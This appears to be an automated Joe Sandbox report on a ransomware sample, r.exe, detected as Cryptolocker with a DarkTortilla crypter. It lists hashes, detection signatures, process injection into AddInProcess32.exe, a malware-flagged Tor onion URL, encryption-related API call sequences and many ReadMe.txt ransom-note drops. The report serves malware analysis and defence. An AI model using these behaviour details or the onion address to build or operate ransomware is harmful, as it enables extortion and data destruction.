Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
r.exe

Overview

General Information

Sample Name:r.exe
Analysis ID:1283552
MD5:0f77484639b1193ad66e313040c92571
SHA1:6254f2885d5b926292d13064803bbce38462243d
SHA256:0c834bc8becd5d9624b4ac454edad1f6198fbcd89395daeae79f2788a5a3f1a1
Tags:exeRansomware
Infos:

Detection

Cryptolocker, DarkTortilla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected DarkTortilla Crypter
Multi AV Scanner detection for submitted file
Found ransom note / readme
Antivirus detection for URL or domain
Yara detected Cryptolocker ransomware
Infects executable files (exe, dll, sys, html)
Writes to foreign memory regions
Found Tor onion address
Drops executable to a common third party application directory
Machine Learning detection for sample
Injects a PE file into a foreign processes
.NET source code contains very large array initializations
Writes a notice file (html or txt) to demand a ransom
Hides that the sample has been downloaded from the Internet (zone.identifier)
Contains functionality to detect sleep reduction / modifications
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Checks for available system drives (often done to infect USB drives)
Uses Microsoft's Enhanced Cryptographic Provider
May check if the current machine is a sandbox (GetTickCount - Sleep)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • r.exe (PID: 5196 cmdline: C:\Users\user\Desktop\r.exe MD5: 0F77484639B1193AD66E313040C92571)
    • AddInProcess32.exe (PID: 5080 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe MD5: F2A47587431C466535F3C3D3427724BE)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
CryptoLockerCryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker
NameDescriptionAttributionBlogpost URLsLink
DarkTortillaDarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks Counter Threat Unit (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.487039298.000000000429D000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
    00000000.00000002.487039298.0000000004336000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
      00000000.00000002.495810810.0000000007F30000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
        00000000.00000002.478036079.0000000003171000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
          Process Memory Space: r.exe PID: 5196JoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
            Click to see the 2 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            0.2.r.exe.4336eb0.0.raw.unpackJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
              0.2.r.exe.4336eb0.0.unpackJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
                0.2.r.exe.7f30000.6.raw.unpackJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
                  0.2.r.exe.7f30000.6.unpackJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
                    0.2.r.exe.42e6e90.3.raw.unpackJoeSecurity_DarkTortillaYara detected DarkTortilla CrypterJoe Security
                      Click to see the 2 entries

                      Sigma Signatures

                      ⊘No Sigma rule has matched

                      Snort Signatures

                      ⊘No Snort rule has matched

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Multi AV Scanner detection for submitted file
                      Source: r.exeReversingLabs: Detection: 26%
                      Source: r.exeVirustotal: Detection: 34%Perma Link
                      Antivirus detection for URL or domain
                      Source: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01UBXEAHOLAvira URL Cloud: Label: malware
                      Source: http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%sAvira URL Cloud: Label: malware
                      Machine Learning detection for sample
                      Source: r.exeJoe Sandbox ML: detected
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_004025F0 SetFileAttributesW,CreateFileW,CreateFileW,CloseHandle,RmStartSession,RmRegisterResources,RmGetList,GetCurrentProcessId,OpenProcess,TerminateProcess,WaitForSingleObject,CreateFileW,RmEndSession,CreateFileW,GetFileSize,SetFilePointerEx,ReadFile,CloseHandle,CryptGenRandom,SetFilePointerEx,ReadFile,SetFilePointerEx,WriteFile,SetFilePointerEx,WriteFile,WriteFile,WriteFile,WriteFile,WriteFile,CloseHandle,FindCloseChangeNotification,1_2_004025F0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 1_2_00406B30 GetDriveTypeW,FindFirstVolumeW,GetVolumePathNamesForVolumeNameW,lstrlenW,SetVolumeMountPointWStub,FindNextVolumeW,FindVolumeClose,GetTickCount,Sleep,GetTickCount,Sleep,wsprintfA,CryptAcquireContextA,CryptGenRandom,CreateSemaphoreW,CreateSemaphoreW,CreateSemaphoreW,InitializeCriticalSection,CreateThread,SetThreadPriority,SetThreadPriority,CreateThread,SetThreadPriority,GetLogicalDrives,WaitForMultipleObjects,CloseHandle,WaitForMultipleObjects,CloseHandle,wsprintfW,GetDriveTypeW,WNetGetConnectionW,CreateThread,SetThreadPriority,WaitForMultipleObjects,WaitForMultipleObjects,CloseHandle,Sleep,Sleep,DeleteCriticalSection,CloseHandle,CloseHandle,CryptReleaseContext,CoCreateInstance,CoCreateInstance,GetModuleHandleA,GetProcAddress,VariantClear,GetCurrentProcess,VariantInit,VariantClear,CoCreateInstance,CoSetProxyBlanket,GetProcessHeap,lstrlenW,GetProcessHeap,HeapAlloc,lstrlenW,wnsprintfW,GetProcessHeap,HeapFree,VariantClear,VariantClear,1_2_00406B30
                      Source: r.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\Reader_19.012.20034\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: M:\Recovery\WindowsRE\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: M:\Recovery\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\S\436\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: M:\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\S\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ARM\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\Setup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Adobe\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\dbg\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\AppV\Setup\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\AppV\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\DSS\MachineKeys\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\DSS\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\Keys\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\PCPKSP\WindowsAIK\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\PCPKSP\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\RSA\MachineKeys\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\RSA\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\SystemKeys\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Crypto\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Task\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\DeviceSync\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\AsimovUploader\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\CustomTraceProfiles\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\DownloadedScenarios\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\DownloadedSettings\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ETLLogs\AutoLogger\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ETLLogs\ScenarioShutdownLogger\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ETLLogs\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\EventTranscript\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\LocalTraceStore\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\OfflineSettings\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\Scripts\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\Sideload\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\Siufloc\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\SoftLanding\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\SoftLandingStage\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\TenantStorage\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\WindowsAnalytics\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\DRM\Server\ReadMe.txtJump to behavior
